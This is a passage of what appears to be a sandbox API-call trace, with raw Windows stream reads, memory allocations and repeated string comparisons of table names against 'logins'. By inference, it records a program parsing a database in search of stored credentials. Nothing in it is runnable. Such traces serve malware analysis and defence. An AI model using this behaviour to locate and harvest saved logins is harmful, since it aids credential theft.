0x0 [0079.502] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.502] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x7, pcbRead=0x12f940*=0x1) returned 0x0 [0079.502] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670d78 [0079.502] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.502] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.502] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.502] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x17, pcbRead=0x12f940*=0x1) returned 0x0 [0079.502] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.502] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.502] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.502] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x17, pcbRead=0x12f940*=0x1) returned 0x0 [0079.502] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.503] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x17, pcbRead=0x12f940*=0x1) returned 0x0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.503] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x1, pcbRead=0x12f940*=0x1) returned 0x0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.503] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x82, pcbRead=0x12f940*=0x1) returned 0x0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.503] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x5f, pcbRead=0x12f940*=0x1) returned 0x0 [0079.503] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670c38 [0079.503] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.503] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.504] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.504] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f950 | out: pv=0x6687b0*=0x74, pcbRead=0x12f950*=0x5) returned 0x0 [0079.504] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0079.504] LocalFree (hMem=0x6687b0) returned 0x0 [0079.504] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.504] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.504] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.504] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.504] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f950 | out: pv=0x6687b0*=0x73, pcbRead=0x12f950*=0x5) returned 0x0 [0079.504] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664480 [0079.504] LocalFree (hMem=0x6687b0) returned 0x0 [0079.504] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.504] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.504] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.504] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x11, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.504] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f950 | out: pv=0x6687b0*=0x73, pcbRead=0x12f950*=0x5) returned 0x0 [0079.504] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0079.504] LocalFree (hMem=0x6687b0) returned 0x0 [0079.504] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.504] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.504] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.504] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f96f, cb=0x1, pcbRead=0x12f93c | out: pv=0x12f96f*=0x7, pcbRead=0x12f93c*=0x1) returned 0x0 [0079.504] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.504] LocalAlloc (uFlags=0x40, uBytes=0x129) returned 0x6305a8 [0079.504] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.505] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.505] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x17, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.505] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6305a8, cb=0xa9, pcbRead=0x12f950 | out: pv=0x6305a8*=0x43, pcbRead=0x12f950*=0xa9) returned 0x0 [0079.505] LocalAlloc (uFlags=0x40, uBytes=0x131) returned 0x655c68 [0079.505] LocalFree (hMem=0x6305a8) returned 0x0 [0079.505] LocalFree (hMem=0x670d78) returned 0x0 [0079.505] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.505] lstrcmpiA (lpString1="stats", lpString2="logins") returned 1 [0079.505] LocalFree (hMem=0x664350) returned 0x0 [0079.505] LocalFree (hMem=0x664480) returned 0x0 [0079.505] LocalFree (hMem=0x6643e8) returned 0x0 [0079.505] LocalFree (hMem=0x665780) returned 0x0 [0079.505] LocalFree (hMem=0x655c68) returned 0x0 [0079.505] LocalFree (hMem=0x670c38) returned 0x0 [0079.505] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x40d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.505] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.505] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.505] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x40d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.505] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x29, pcbRead=0x12f980*=0x1) returned 0x0 [0079.505] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.505] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.505] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x40e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.505] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x7, pcbRead=0x12f980*=0x1) returned 0x0 [0079.505] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.505] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f9c8 | out: ppstm=0x12f9c8*=0x64baa8) returned 0x0 [0079.505] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.506] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.506] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x40f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.506] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x29, pcbRead=0x12f990 | out: pv=0x655310*=0x6, pcbRead=0x12f990*=0x29) returned 0x0 [0079.506] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x6, cb=0x29, pcbWritten=0x12f9a8 | out: pcbWritten=0x12f9a8*=0x29) returned 0x0 [0079.506] LocalFree (hMem=0x655310) returned 0x0 [0079.506] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.506] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.506] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.506] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.506] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.506] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x6, pcbRead=0x12f940*=0x1) returned 0x0 [0079.506] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670c38 [0079.506] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.506] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.506] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.506] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x17, pcbRead=0x12f940*=0x1) returned 0x0 [0079.506] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.506] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.506] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.506] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x3d, pcbRead=0x12f940*=0x1) returned 0x0 [0079.507] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.507] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.507] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.507] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x17, pcbRead=0x12f940*=0x1) returned 0x0 [0079.507] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.507] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.507] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.507] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x1, pcbRead=0x12f940*=0x1) returned 0x0 [0079.507] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.507] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.507] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.507] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x0, pcbRead=0x12f940*=0x1) returned 0x0 [0079.507] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.507] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.507] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.507] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.507] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.507] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f950 | out: pv=0x6687b0*=0x69, pcbRead=0x12f950*=0x5) returned 0x0 [0079.507] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.507] LocalFree (hMem=0x6687b0) returned 0x0 [0079.507] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670cd8 [0079.508] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.508] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.508] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.508] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x670cd8, cb=0x18, pcbRead=0x12f950 | out: pv=0x670cd8*=0x73, pcbRead=0x12f950*=0x18) returned 0x0 [0079.508] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x652cb0 [0079.508] LocalFree (hMem=0x670cd8) returned 0x0 [0079.508] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.508] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.508] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.508] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x23, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.508] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f950 | out: pv=0x6687b0*=0x73, pcbRead=0x12f950*=0x5) returned 0x0 [0079.508] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0079.508] LocalFree (hMem=0x6687b0) returned 0x0 [0079.508] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.508] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.508] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.508] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f96f, cb=0x1, pcbRead=0x12f93c | out: pv=0x12f96f*=0x8, pcbRead=0x12f93c*=0x1) returned 0x0 [0079.508] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664480 [0079.508] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.508] LocalFree (hMem=0x670c38) returned 0x0 [0079.508] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.508] lstrcmpiA (lpString1="stats", lpString2="logins") returned 1 [0079.508] LocalFree (hMem=0x665780) returned 0x0 [0079.508] LocalFree (hMem=0x652cb0) returned 0x0 [0079.508] LocalFree (hMem=0x6643e8) returned 0x0 [0079.508] LocalFree (hMem=0x664480) returned 0x0 [0079.508] LocalFree (hMem=0x6687b0) returned 0x0 [0079.508] LocalFree (hMem=0x670d78) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x2fa, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x2fa, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.509] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x4e, pcbRead=0x12f980*=0x1) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x2fb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.509] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x8, pcbRead=0x12f980*=0x1) returned 0x0 [0079.509] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.509] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f9c8 | out: ppstm=0x12f9c8*=0x64baa8) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x2fc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.509] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x4e, pcbRead=0x12f990 | out: pv=0x655310*=0x6, pcbRead=0x12f990*=0x4e) returned 0x0 [0079.509] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x6, cb=0x4e, pcbWritten=0x12f9a8 | out: pcbWritten=0x12f9a8*=0x4e) returned 0x0 [0079.509] LocalFree (hMem=0x655310) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.509] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.510] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.510] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.510] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x6, pcbRead=0x12f940*=0x1) returned 0x0 [0079.510] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.510] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.510] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.510] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.510] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x17, pcbRead=0x12f940*=0x1) returned 0x0 [0079.510] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.510] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.510] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.510] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x25, pcbRead=0x12f940*=0x1) returned 0x0 [0079.510] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.510] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.510] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.510] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x17, pcbRead=0x12f940*=0x1) returned 0x0 [0079.510] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.511] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.511] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.511] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x1, pcbRead=0x12f940*=0x1) returned 0x0 [0079.511] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.511] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.511] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.511] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, pcbRead=0x12f940 | out: pv=0x12f973*=0x6f, pcbRead=0x12f940*=0x1) returned 0x0 [0079.511] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670c38 [0079.511] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.511] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.511] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.511] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.511] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f950 | out: pv=0x6687b0*=0x69, 